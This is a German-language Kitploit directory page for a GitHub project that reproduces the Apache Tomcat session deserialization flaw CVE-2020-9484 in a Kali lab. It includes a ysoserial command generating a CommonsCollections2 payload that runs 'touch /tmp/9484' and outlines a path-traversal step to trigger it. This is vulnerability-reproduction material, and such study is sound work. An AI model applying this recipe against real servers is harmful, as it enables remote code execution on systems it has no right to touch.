Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-9484 — Reproduktion der Apache-Tomcat-Session-Deserialisierungs-Codeausführungs-Schwachstelle mit Kali 2.0 | Kitploit
Tools/GitHubGitHub/idealdreamlast/cve-2020-9484
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubidealdreamlast/cve-2020-9484

CVE-2020-9484

Reproduktion der Apache-Tomcat-Session-Deserialisierungs-Codeausführungs-Schwachstelle mit Kali 2.0

Repository anzeigen
5220vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2020-9484

Reproduktion der Apache Tomcat Session Deserialization Code Execution Schwachstelle CVE-2020-9484 mit Kali 2.0

Umgebung:

  1. Kali 2.0
  2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz (webapp ist s2-053, unter lib wurde commons-collections4-4.0.jar hinzugefügt)

Starten

/yourtomcatdir/bin/startup.sh image

Payload generieren

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/9484" > /tmp/22222.session

Ausnutzung

Zuerst auf S2-053 zugreifen, um zu prüfen, ob es normal gestartet ist: http://192.168.152.128:8080/s2-053/ image
Erneut zugreifen, Paket abfangen und Pfad-Traversal mit Intruder durchführen image
image


Befehlsausführung erfolgreich: image



Referenz: https://mp.weixin.qq.com/s/OGdHSwqydiDqe-BUkheTGg
Tool herunterladen